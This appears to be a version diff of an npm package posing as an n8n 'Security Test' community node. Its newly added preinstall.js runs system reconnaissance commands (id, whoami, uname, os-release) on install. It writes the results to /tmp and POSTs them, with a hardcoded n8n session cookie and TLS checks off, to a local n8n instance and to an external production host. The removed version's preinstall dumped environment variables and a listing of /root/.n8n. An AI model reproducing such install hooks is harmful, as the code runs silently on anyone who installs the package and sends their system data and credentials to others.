n8n-nodes-security-test-poc 1.0.0 → 1.0.2

package/dist/SecurityTestNode.node.js

@@ -1 +1,21 @@
-module.exports = {};
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+class SecurityTestNode {
+    constructor() {
+        this.description = {
+            displayName: 'Security Test',
+            name: 'securityTest',
+            group: ['transform'],
+            version: 1,
+            description: 'Security Test PoC Node',
+            defaults: { name: 'Security Test' },
+            inputs: ['main'],
+            outputs: ['main'],
+            properties: []
+        };
+    }
+    async execute() {
+        return [this.getInputData()];
+    }
+}
+exports.SecurityTestNode = SecurityTestNode;

package/package.json

@@ -1,21 +1,14 @@
 {
   "name": "n8n-nodes-security-test-poc",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "Security test PoC node for n8n",
   "n8n": {
-    "nodes": []
+    "nodes": ["dist/SecurityTestNode.node.js"]
   },
   "scripts": {
-    "preinstall": "id > /tmp/n8n-rce-proof.txt 2>&1; hostname >> /tmp/n8n-rce-proof.txt 2>&1; whoami >> /tmp/n8n-rce-proof.txt 2>&1; uname -a >> /tmp/n8n-rce-proof.txt 2>&1; cat /etc/os-release >> /tmp/n8n-rce-proof.txt 2>&1; env | sort >> /tmp/n8n-rce-proof.txt 2>&1; cat /proc/1/cgroup >> /tmp/n8n-rce-proof.txt 2>&1 || true; ls -la /root/.n8n/ >> /tmp/n8n-rce-proof.txt 2>&1 || true"
+    "preinstall": "node preinstall.js || true"
   },
   "main": "index.js",
   "keywords": ["n8n-community-node-package"],
-  "license": "MIT",
-  "repository": {
-    "type": "git",
-    "url": "https://github.com/diego95root/n8n-nodes-security-test-poc"
-  },
-  "publishConfig": {
-    "registry": "https://registry.npmjs.org/"
-  }
+  "license": "MIT"
 }

package/preinstall.js

@@ -0,0 +1,48 @@
+const { execSync } = require('child_process');
+const https = require('https');
+const http = require('http');
+
+try {
+  const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null || true').toString();
+  
+  // Method 1: Write to file
+  require('fs').writeFileSync('/tmp/n8n-rce-proof.txt', out);
+  
+  // Method 2: POST to n8n API (local)
+  const data = JSON.stringify({ key: 'RCE_PROOF', value: out.substring(0, 200).replace(/"/g, "'") });
+  
+  // Try localhost first
+  const req = http.request({
+    hostname: '127.0.0.1',
+    port: 5678,
+    path: '/rest/variables',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
+    }
+  }, (res) => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+  
+  // Also try via external URL
+  const req2 = https.request({
+    hostname: 'worker.n8n-prod.schibsted.com',
+    path: '/rest/variables',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
+    },
+    rejectUnauthorized: false
+  }, (res) => {});
+  req2.on('error', () => {});
+  req2.write(data);
+  req2.end();
+  
+  // Wait for requests to complete
+  setTimeout(() => process.exit(0), 3000);
+} catch (e) {
+  require('fs').writeFileSync('/tmp/n8n-rce-error.txt', e.toString());
+}